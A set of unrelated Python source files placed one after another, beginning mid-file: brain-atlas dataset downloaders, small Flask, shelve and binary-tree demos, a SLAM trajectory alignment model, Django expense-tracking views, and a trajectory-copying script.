    patoolib.extract_archive(zip_loc, outdir=dl_output)

    # move the data to the correct location
    for img_file in np.concatenate(
        [glob(dl_output + "ATLAS_starling/*." + ed) for ed in ["img", "hdr"]]
    ):
        shutil.copy(img_file, img_output + os.path.basename(img_file))
    for img_file in np.concatenate(
        [
            glob(dl_output + "ATLAS_starling/delineations/*." + ed)
            for ed in ["img", "hdr", "txt"]
        ]
    ):
        shutil.copy(img_file, img_output + "delineations/" + os.path.basename(img_file))

def get_zebra_finch_data(password):
    if len(glob("../../data/processed/zebra_finch/delineations/*.img")) > 1:
        print("Data already download")
        return
    if password is None:
        raise ValueError(
            "To request the zebra finch password email johan.vanaudekerke@uantwerpen.be"
        )

    print("Downloading data")
    dl_output = "../../data/raw/zebra_finch/"  # data download
    img_output = "../../data/processed/zebra_finch/"  # processed save spot
    data_url = "http://uahost.uantwerpen.be/bioimaginglab/zebrafinch.zip"

    # ensure directories
    ensure_dir(dl_output)
    ensure_dir(img_output)
    ensure_dir(img_output + "delineations/")
    zip_loc = dl_output + "zebra_finch.zip"

    # download data
    tqdm_download(data_url, zip_loc)

    # unzip files
    cmd = ["unzip", "-P", password, zip_loc, "-d", dl_output]
    verbose_command(cmd)

    # images of interest need to be moved
    atlas_img = "../../data/raw/zebra_finch/atlas/atlas.img"
    atlas_hdr = "../../data/raw/zebra_finch/atlas/atlas.hdr"
    brain_del_img = "../../data/raw/zebra_finch/atlas/brain_delineations.img"
    brain_del_hdr = "../../data/raw/zebra_finch/atlas/brain_delineations.hdr"
    nuc_del_img = "../../data/raw/zebra_finch/atlas/nuclei_delineations.img"
    nuc_del_hdr = "../../data/raw/zebra_finch/atlas/nuclei_delineations.hdr"

    # move atlas files
    shutil.copy(atlas_img, img_output + os.path.basename(atlas_img))
    shutil.copy(atlas_hdr, img_output + os.path.basename(atlas_hdr))
    # move brain delineation files
    shutil.copy(brain_del_img, img_output + "delineations/Brain.img")
    shutil.copy(brain_del_hdr, img_output + "delineations/Brain.hdr")
    # move brain delineation files
    shutil.copy(nuc_del_img, img_output + "delineations/Nuclei.img")
    shutil.copy(nuc_del_hdr, img_output + "delineations/Nuclei.hdr")

def get_pigeon_data():
    """The pigeon data delineations exist across multiple files - so this list contains info on which delineations should be joined together
    """
    SYSTEMS_DELINEATIONS = [
        ["Auditory1", ["../../data/raw/pigeon/Full_package/Auditory/auditory1.img"]],
        ["Auditory2", ["../../data/raw/pigeon/Full_package/Auditory/auditory2.img"]],
        ["Olfactory", ["../../data/raw/pigeon/Full_package/Olfactory/Olfactory.img"]],
        [
            "Visual_thalamofugal",
            [
                "../../data/raw/pigeon/Full_package/Visual/Thalamofugal/GLd-and-rotundus.img"
            ],
        ],
        [
            "Somatosensory_wulst",
            [
                "../../data/raw/pigeon/Full_package/Somatosensory/Wulst_HA_HI_HD-frontal-from-A13.img"
            ],
        ],
        [
            "Somatosensory_spinal_system_and_body_representation",
            [
                "../../data/raw/pigeon/Full_package/Somatosensory/Spinal system and body representation/GC_DLP_DIVA.img"
            ],
        ],
        [
            "Somatosensory_trigeminal",
            [
                "../../data/raw/pigeon/Full_package/Somatosensory/Trigeminal/PrV-and-Basalis.img"
            ],
        ],
        [
            "Hippocampus",
            ["../../data/raw/pigeon/Full_package/Hippocampus/hippocampus.img"],
        ],
        [
            "Visual_isthmic",
            [
                "../../data/raw/pigeon/Full_package/Visual/Isthmic nuclei/Isthmo-opticus.img",
                "../../data/raw/pigeon/Full_package/Visual/Isthmic nuclei/SLu-Ipc-Imc-right.img",
                "../../data/raw/pigeon/Full_package/Visual/Isthmic nuclei/SLu-Ipc-Imc-left.img",
            ],
        ],
        [
            "Arcopallium",
            [
                "../../data/raw/pigeon/Full_package/Descending systems/Arcopallium/arcopallium.img"
            ],
        ],
        [
            "Visual_wulst",
            [
                "../../data/raw/pigeon/Full_package/Visual/Thalamofugal/visual-Wulst_HA_HI_HD-until-A13.img"
            ],
        ],
        [
            "Visual_aos",
            [
                "../../data/raw/pigeon/Full_package/Visual/Accessory Optic System/n-pontis-medialis.img",
                "../../data/raw/pigeon/Full_package/Visual/Accessory Optic System/nBOR-Lentiformis-mesencephali.img",
            ],
        ],
        [
            "Brain",
            [
                "../../data/raw/pigeon/Full_package/Brainsurface/brainsurface_left.img",
                "../../data/raw/pigeon/Full_package/Brainsurface/brainsurface_right.img",
            ],
        ],
        [
            "Nucleus_taeniae",
            ["../../data/raw/pigeon/Full_package/Olfactory/Nucleus-Taeniae.img"],
        ],
        [
            "Visual_tectofugal",
            [
                "../../data/raw/pigeon/Full_package/Visual/Tectofugal/entopallium.img",
                "../../data/raw/pigeon/Full_package/Visual/Tectofugal/rotundus.img",
                "../../data/raw/pigeon/Full_package/Visual/Tectofugal/Tectum-left.img",
                "../../data/raw/pigeon/Full_package/Visual/Tectofugal/Tectum-right.img",
            ],
        ],
    ]

    if len(glob("../../data/processed/pigeon/delineations/*.img")) > 1:
        print("Data already download")
        return SYSTEMS_DELINEATIONS
    print("Downloading data")
    dl_output = "../../data/raw/pigeon/"  # data download
    img_output = "../../data/processed/pigeon/"  # processed save spot
    data_url = "http://uahost.uantwerpen.be/bioimaginglab/pigeon.zip"

    # ensure directories
    ensure_dir(dl_output)
    ensure_dir(img_output)
    ensure_dir(img_output + "delineations/")
    zip_loc = dl_output + "pigeon.zip"

    # download data
    tqdm_download(data_url, zip_loc)

    # extract the data
    patoolib.extract_archive(zip_loc, outdir=dl_output)

    # There are several img files that dont correspond directly to the data description table at
    #   https://www.uantwerpen.be/en/research-groups/bio-imaging-lab/research/mri-atlases/pigeon-brain-atlas/manual/
    #   I made a quick try at matching them up but this needs fixed

    # brainsurface will need to be merged...
    # delineation_files = ['Auditory', 'Descending systems', 'Hippocampus', 'Olfactory', 'Somatosensory', 'Brainsurface']
    img_files = ["CT", "T2", "T2star"]

    # for some reason pigeon brain is

    # get all hdr and img delination files
    all_delineation_files = np.concatenate(
        [i[1] + [j[:-4] + ".hdr" for j in i[1]] for i in SYSTEMS_DELINEATIONS]
    )

    # get the image files
    img_files = [
        "../../data/raw/pigeon/Full_package/T2/T2.hdr",
        "../../data/raw/pigeon/Full_package/T2/T2.img",
        "../../data/raw/pigeon/Full_package/T2star/T2star.hdr",
        "../../data/raw/pigeon/Full_package/T2star/T2star.img",
        "../../data/raw/pigeon/Full_package/CT/CT.hdr",
        "../../data/raw/pigeon/Full_package/CT/CT.img",
    ]

    for img_file in img_files:
        shutil.copy(img_file, img_output + os.path.basename(img_file))

    for del_file in all_delineation_files:
        shutil.copy(del_file, img_output + "delineations/" + os.path.basename(del_file))

    return SYSTEMS_DELINEATIONS

def join_data_pigeon(pigeon_atlas):
    """ the pigeon dataset delinations are seperated in a different way than the other datasets
    this is just a small function that tries to fix that. There are still parts that are missing
    TODO: fix delineations better in pigeon
    """
    new_delineations = []
    for system, imgs in pigeon_atlas.systems_delineations:
        for imgi, img in enumerate(imgs):
            if imgi == 0:
                base = pigeon_atlas.voxel_data.loc[
                    os.path.basename(img)[:-4].capitalize(), "voxels"
                ]
            else:
                vox = pigeon_atlas.voxel_data.loc[
                    os.path.basename(img)[:-4].capitalize(), "voxels"
                ]
                base[vox != 0] = vox[vox != 0]
        aff = pigeon_atlas.voxel_data.loc[
            os.path.basename(img)[:-4].capitalize(), "affine"
        ]
        new_delineations.append(
            pd.DataFrame(
                [[system, imgs, base, aff]],
                columns=["type_", "src", "voxels", "affine"],
            )
        )
    new_delineations = pd.concat(new_delineations)
    new_delineations.index = new_delineations.type_

    # remove rows with the same name
    new_labs = [i[0] for i in pigeon_atlas.systems_delineations]
    pigeon_atlas.voxel_data = pigeon_atlas.voxel_data[
        np.array([i not in new_labs for i in pigeon_atlas.voxel_data.index])
    ]
    # join with atlas
    pigeon_atlas.voxel_data = pd.concat([pigeon_atlas.voxel_data, new_delineations])

def get_mustached_bat_data():
    def xml_to_pandas_brainregions(xml_loc):
        """ gets a pandas dataframe of labels from the brainregions xml
        """
        # load xml
        e = xml.etree.ElementTree.parse(xml_loc).getroot()

        # get brain_label information
        brain_labels = pd.DataFrame(columns=["label", "region", "type_"])
        for area in e.getchildren():
            (_, abbrev), (_, value), (_, _), (_, name) = area.items()
            brain_labels.loc[len(brain_labels)] = [
                int(value),
                abbrev,
                "Mustached_bat_delineations",
            ]
        brain_labels.index = brain_labels.region
        brain_labels["label"] = brain_labels["label"].astype("int")
        return brain_labels

    if len(glob("../../data/processed/mustached_bat/delineations/*.nii")) > 1:
        print("Data already download")
        return xml_to_pandas_brainregions(
            "../../data/processed/mustached_bat/delineations/Mustached_Bat_Delineations.atlas.xml"
        )

    # image locations to save to
    dl_output = "../../data/raw/mustached_bat/"
    img_output = "../../data/processed/mustached_bat/"
    # make sure directories all exist
    ensure_dir(dl_output)
    ensure_dir(img_output)
    ensure_dir(img_output + "delineations/")
    data_url = "http://uahost.uantwerpen.be/bioimaginglab/Bat.zip"
    zip_loc = zip_loc = dl_output + "Bat.zip"
    # download data
    tqdm_download(data_url, zip_loc)
    # extract the data
    patoolib.extract_archive(zip_loc, outdir=dl_output)
    xml_loc = "../../data/raw/mustached_bat/Bat/Mustached_Bat_Atlas/Mustached_Bat_Delineations.atlas.xml"
    shutil.copy(xml_loc, img_output + "delineations/" + os.path.basename(xml_loc))
    xml_copy = img_output + "delineations/" + os.path.basename(xml_loc)
    brain_labels = xml_to_pandas_brainregions(xml_copy)

    # image files to move
    imgs = [
        "../../data/raw/mustached_bat/Bat/Mustached_Bat_Atlas/ad.nii",
        "../../data/raw/mustached_bat/Bat/Mustached_Bat_Atlas/b0.nii",
        "../../data/raw/mustached_bat/Bat/Mustached_Bat_Atlas/col_fa.nii",
        "../../data/raw/mustached_bat/Bat/Mustached_Bat_Atlas/fa.nii",
        "../../data/raw/mustached_bat/Bat/Mustached_Bat_Atlas/md.nii",
        "../../data/raw/mustached_bat/Bat/Mustached_Bat_Atlas/rd.nii",
        "../../data/raw/mustached_bat/Bat/Mustached_Bat_Atlas/Skull_CT.nii",
        "../../data/raw/mustached_bat/Bat/Mustached_Bat_Atlas/T2w_3D_RARE.nii",
        "../../data/raw/mustached_bat/Bat/Mustached_Bat_Atlas/tdi_dti_color.nii",
        "../../data/raw/mustached_bat/Bat/Mustached_Bat_Atlas/tdi_dti_grey.nii",
    ]
    # copy all the images
    for img in imgs:
        shutil.copy(img, img_output + os.path.basename(img))

    # copy all the images into delineations locations
    img = "../../data/raw/mustached_bat/Bat/Mustached_Bat_Atlas/Mustached_Bat_Delineations.nii"
    shutil.copy(img, img_output + "delineations/" + os.path.basename(img))
    # copy all the images into delineations locations
    img = "../../data/raw/mustached_bat/Bat/Mustached_Bat_Atlas/mask.nii"

    shutil.copy(img, img_output + "delineations/" + "Brain.nii")
    return brain_labels


import shelve

s = shelve.open("pickle.dat")

s["list3"] = [1, 2, 3]
s["list4"] = ["R", "A"]
s.sync()

print(s["list3"])

try:
    x = float(input())

except ValueError as e:
    print("wystapil blad")
    x = 65
    print(e)
else:
    print("aaaA")

print(x)

s.close()


# coding:utf-8
from flask import Flask,current_app
#  创建flask的应用对象
# __name__ 表示当前模块名字
# 模块名，flask以这个模块所在目录为总目录，默认这个目录中的static为静态目录。template为模块目录
app = Flask(__name__,
            static_url_path="/python", # 访问静态文件的url前缀  默认值是static
            static_folder="static", # 访问静态文件的目录
            template_folder="template")  # 访问模板文件的目录
# 配置参数的使用方式
# 1.使用配置文件
#app.config.from_pyfile("config.cfg")

# 2.c从对象中获取配置文件
class Config(object):
    DEBUG = False
    TEST = "A"
app.config.from_object(Config)

# 3.直接操作config字典
# app.config["DEBUG"] = True

@app.route("/")
def index():
    """定义视图函数"""
    # 读取配置参数
    # 1.直接从全局app的config字典中取值
    print (app.config.get("TEST"))
    # 通过current_app获取参数
    print(current_app.config.get("TEST"))
    return "hello flask"

if __name__ == '__main__':
    # 启动flask程序
    # app.run(host="0.0.0.0",port=5000,debug=True)
    app.run()


class Tree:
    def __init__(self,data):
        self.data=data
        self.left=None;
        self.right=None;

    def insert(self,data):
        self.newNode=Tree(data)
        return self.newNode

    def preorder(self,root):
        if(root==None):
           return
        print("Data is ",root.data)
        self.preorder(root.left)
        self.preorder(root.right)

    def inorder(self,root):
        if(root==None):
           return
        self.inorder(root.left)
        print("Data is ",root.data)
        self.inorder(root.right)

    def postorder(self,root):
        if(root==None):
           return
        self.postorder(root.left)
        self.postorder(root.right)
        print("Data is ",root.data)

    def levelOrder(self,root):
        if(root==None):
            return

        #get a queue(list)
        que=[]
        que.append(root)

        while len(que)>0:
            node=que.pop(0)

            #print the data
            print(node.data)

            #Add Child Node
            if(node.left!=None):
                que.append(node.left)
            if(node.right!=None):
                que.append(node.right)

root=Tree(10)
root.left=Tree(20)
root.right=Tree(30)
root.left.left=Tree(40)
root.left.right=Tree(50)
root.right.left=Tree(60)
root.right.right=Tree(70)

print("\nPreOrder Traversal is\n")
root.preorder(root)
print("\nInOrder Traversal is\n")
root.inorder(root)
print("\nPostOrder Traversal is\n")
root.postorder(root)
print("\nLevelOrder Traversal is\n")
root.levelOrder(root)


from dataclasses import dataclass
import json
from os import path
import numpy as np
import pandas as pd
from gorbslam.common.linear_transforms import umeyama_alignment
from gorbslam.common.slam_trajectory import SLAMTrajectory
from gorbslam.common.utils import CustomJSONEncoder, to_xyz
from gorbslam.models.orbslam_corrector_model import ORBSLAMCorrectorModel

@dataclass(frozen=True)
class UmeyamaParams:
    R: np.ndarray
    t: np.ndarray
    c: float

class UmeyamaModel(ORBSLAMCorrectorModel):
    def __init__(self, model_dir):
        self._model_dir = model_dir
        self._model_params_path = path.join(self._model_dir, "model_params.json")
        self._model_params: UmeyamaParams = None
        self._is_loaded = False

    @property
    def model(self):
        return None

    @property
    def model_params(self):
        return self._model_params

    @property
    def is_loaded(self):
        return self._is_loaded

    def create_model(
        self, training_data: SLAMTrajectory, validation_data: SLAMTrajectory = None
    ):
        source_trajectory = to_xyz(training_data.slam.slam)
        target_trajectory = to_xyz(training_data.gt.utm)

        R, t, c = umeyama_alignment(
            source_trajectory.T,
            target_trajectory.T,
            True,
        )
        self._model_params = UmeyamaParams(R, t, c)
        self.save_model()

    def save_model(self):
        with open(self._model_params_path, "w") as f:
            json.dump(self._model_params, f, cls=CustomJSONEncoder)

    def load_model(self):
        if not path.exists(self._model_params_path):
            self._is_loaded = False
        else:
            with open(self._model_params_path, "r") as f:
                self._model_params = json.loads(
                    f.read(),
                    object_hook=lambda d: UmeyamaParams(
                        R=np.array(d["R"]),
                        t=np.array(d["t"]),
                        c=d["c"],
                    ),
                )
                self._is_loaded = True

        return self._is_loaded

    def predict(self, slam_trajectory):
        R = self._model_params.R
        t = self._model_params.t
        c = self._model_params.c

        return np.array([t + c * R @ p for p in slam_trajectory])


from django.db import models
from django.conf import settings

import datetime

class Task(models.Model):
	user = models.ForeignKey(settings.AUTH_USER_MODEL, on_delete=models.CASCADE)
	title = models.CharField(max_length=200, blank=False)
	details = models.TextField(max_length=500, blank=True)
	date_add = models.DateTimeField(auto_now_add=True)
	date_updated = models.DateTimeField(auto_now_add=True)

	def __str__(self):
		return self.title


from django.contrib.contenttypes.models import ContentType

from companyinfo.models import CompanyInfo
from companyinfo.serializers import CompanyInfoSerializer
from expenses.models import Expense
from django.contrib.admin.models import LogEntry, CHANGE, ADDITION, DELETION

from rest_framework.views import APIView
from rest_framework.response import Response
from rest_framework import status
from rest_framework import permissions
from .serializers import ExpenseSerializer
from django.views.decorators.csrf import csrf_exempt
from rest_framework.decorators import api_view, permission_classes

from ratelimit.decorators import ratelimit
from django.utils.decorators import method_decorator

# Create your views here.

class ExpenseView(APIView):
    permission_classes = [permissions.IsAuthenticated]

    @method_decorator(ratelimit(key='ip', rate='10/s', block=True, method='GET'))
    def get(self, *args, **kwargs):
        try:
            expenses = ExpenseSerializer(Expense.objects.all(), many=True)
            company_info = CompanyInfoSerializer(
                CompanyInfo.objects.all(), many=True)
            context = {
                'title': 'Expenses',
                'expenses': expenses.data,
                'company_info': company_info.data
            }
            return Response(context, status=status.HTTP_200_OK)
        except:
            return Response({"message": "Something went wrong."}, status=status.HTTP_500_INTERNAL_SERVER_ERROR)

    @method_decorator(ratelimit(key='ip', rate='10/s', block=True, method='POST'))
    def post(self, request, *args, **kwargs):
        try:
            name = request.data['name']
            amount = request.data['amount']

            expense = Expense()
            expense.name = name
            expense.amount = amount
            expense.save()

            ct = ContentType.objects.get_for_model(Expense)
            LogEntry.objects.log_action(user_id=self.request.user.id, content_type_id=ct.pk,
                                        object_id=expense.pk, object_repr=expense.name, action_flag=ADDITION, change_message="")

            return Response({"message": "Expense added successfully."}, status=status.HTTP_200_OK)
        except:
            return Response({"message": "Something went wrong."}, status=status.HTTP_500_INTERNAL_SERVER_ERROR)

@api_view(['POST'])
@permission_classes([permissions.IsAuthenticated])
@csrf_exempt
@ratelimit(key='ip', rate='10/s', block=True)
def delete_expense(request, id):
    if request.method == 'POST':
        try:
            expense = Expense.objects.get(pk=id)
            expense.delete()

            ct = ContentType.objects.get_for_model(Expense)
            LogEntry.objects.log_action(user_id=request.user.id, content_type_id=ct.pk, object_id=expense.pk,
                                        object_repr=expense.name, action_flag=DELETION, change_message="")

            return Response({"message": "Expense deleted successfully."}, status=status.HTTP_200_OK)
        except:
            return Response({"message": "Something went wrong."}, status=status.HTTP_500_INTERNAL_SERVER_ERROR)

@api_view(['GET', 'PATCH'])
@permission_classes([permissions.IsAuthenticated])
@csrf_exempt
@ratelimit(key='ip', rate='10/s', block=True)
def edit_expense(request, id):
    if request.method == 'GET':
        try:
            expense = ExpenseSerializer(Expense.objects.get(pk=id))
            company_info = CompanyInfoSerializer(
                CompanyInfo.objects.all(), many=True)
            context = {
                'title': 'Edit Expense',
                'expense': expense.data,
                'company_info': company_info.data
            }

            return Response(context, status=status.HTTP_200_OK)
        except:
            return Response({"message": "Something went wrong."}, status=status.HTTP_500_INTERNAL_SERVER_ERROR)

    if request.method == 'PATCH':
        try:
            name = request.data['name']
            amount = request.data['amount']

            expense = Expense.objects.get(pk=id)
            expense.name = name
            expense.amount = amount
            expense.save()

            ct = ContentType.objects.get_for_model(Expense)
            LogEntry.objects.log_action(user_id=request.user.id, content_type_id=ct.pk,
                                        object_id=expense.pk, object_repr=expense.name, action_flag=CHANGE, change_message="")

            return Response({"message": "Expense edited successfully."}, status=status.HTTP_200_OK)
        except:
            return Response({"message": "Something went wrong."}, status=status.HTTP_500_INTERNAL_SERVER_ERROR)


import os
import argparse
import shutil
import pandas as pd
import numpy as np

parser = argparse.ArgumentParser()
parser.add_argument("experiment_dir", type=str, help="Path where the outputs from the experiment are stored")
parser.add_argument("output_dir", type=str, help="Location to store the output files")
parser.add_argument("dataset", type=str, help="A name string identifying the dataset processed in this experiment")
parser.add_argument("groundtruth_traj_path", type=str, help="A path to the groundtruth trajectory in TUM format.")
parser.add_argument("--single_config", action="store_true", default=False)
parser.add_argument("--single_trial", action="store_true", default=False)
args = parser.parse_args()

experiment_dir = args.experiment_dir
dataset = args.dataset.lower()

output_dir = f"{args.output_dir}/{dataset}"

if not os.path.exists(output_dir):
    os.makedirs(output_dir)

if not args.single_config:
    configs = os.listdir(experiment_dir)
else:
    configs = [""]

for config in configs:
    config_dir = f"{experiment_dir}/{config}"

    if not os.path.isdir(config_dir):
        continue

    config_out_dir = f"{output_dir}/{config}"

    if not args.single_config and not os.path.exists(config_out_dir):
        os.makedirs(config_out_dir)

    if not args.single_trial:
        trials = os.listdir(f"{args.experiment_dir}/{config}")
    else:
        trials = [""]

    trials = [t for t in trials if os.path.isdir(f"{config_dir}/{t}")]

    for trial_idx, trial in enumerate(trials):
        trial_dir = f"{config_dir}/{trial}"

        try:
            shutil.copy(f"{trial_dir}/trajectory/estimated_trajectory.txt", f"{config_out_dir}/stamped_traj_estimate{trial_idx}.txt")
        except Exception:
            print(f"Can't find: {trial_dir}/trajectory/estimated_trajectory.txt. Skipping")

gt_df = pd.read_csv(args.groundtruth_traj_path, delimiter=' ', header=None)
gt_df[0] = gt_df[0] - gt_df[0][0] # start times at 0
gt_data = gt_df.to_numpy()

with open(f"{output_dir}/stamped_groundtruth.txt", 'w+') as out_file:
    np.savetxt(out_file, gt_data, delimiter=" ", fmt="%10.10f")